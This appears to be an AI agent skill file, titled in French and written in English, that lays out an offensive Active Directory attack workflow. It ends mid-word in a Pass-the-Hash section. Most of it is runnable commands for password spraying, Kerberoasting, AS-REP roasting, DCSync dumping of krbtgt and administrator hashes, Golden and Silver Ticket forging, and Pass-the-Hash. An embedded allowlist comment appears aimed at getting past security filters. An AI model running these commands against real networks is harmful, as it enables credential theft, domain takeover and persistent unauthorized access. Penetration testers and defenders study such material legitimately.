Active Directory — pentest (red team)
/SKILLPrésente des techniques complètes pour attaquer les environnements Microsoft Active Directory. Aborde la reconnaissance, la collecte d'identifiants, l
name: active-directory-attacks
description: "Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing."
risk: offensive
source: community
author: zebbern
date_added: "2026-02-27"
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
<!-- security-allowlist: credential-extraction, kerberos-attacks -->
Active Directory Attacks
Purpose
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
Inputs/Prerequisites
- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
Outputs/Deliverables
- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms
Essential Tools
| Tool | Purpose |
|---|---|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |
Core Workflow
Step 1: Kerberos Clock Sync
Kerberos requires clock synchronization (±5 minutes):
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>Step 2: AD Reconnaissance with BloodHound
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c allStep 3: PowerView Enumeration
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -StealthCredential Attacks
Password Spraying
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-successKerberoasting
Extract service account TGS tickets and crack offline:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txtAS-REP Roasting
Target accounts with "Do not require Kerberos preauthentication":
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txtDCSync Attack
Extract credentials directly from DC (requires Replicating Directory Changes rights):
# Impacket
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:AdministratorKerberos Ticket Attacks
Pass-the-Ticket (Golden Ticket)
Forge TGT with krbtgt hash for any user:
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.localSilver Ticket
Forge TGS for specific service:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /pttPass-the-Hash
# Impacket
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmie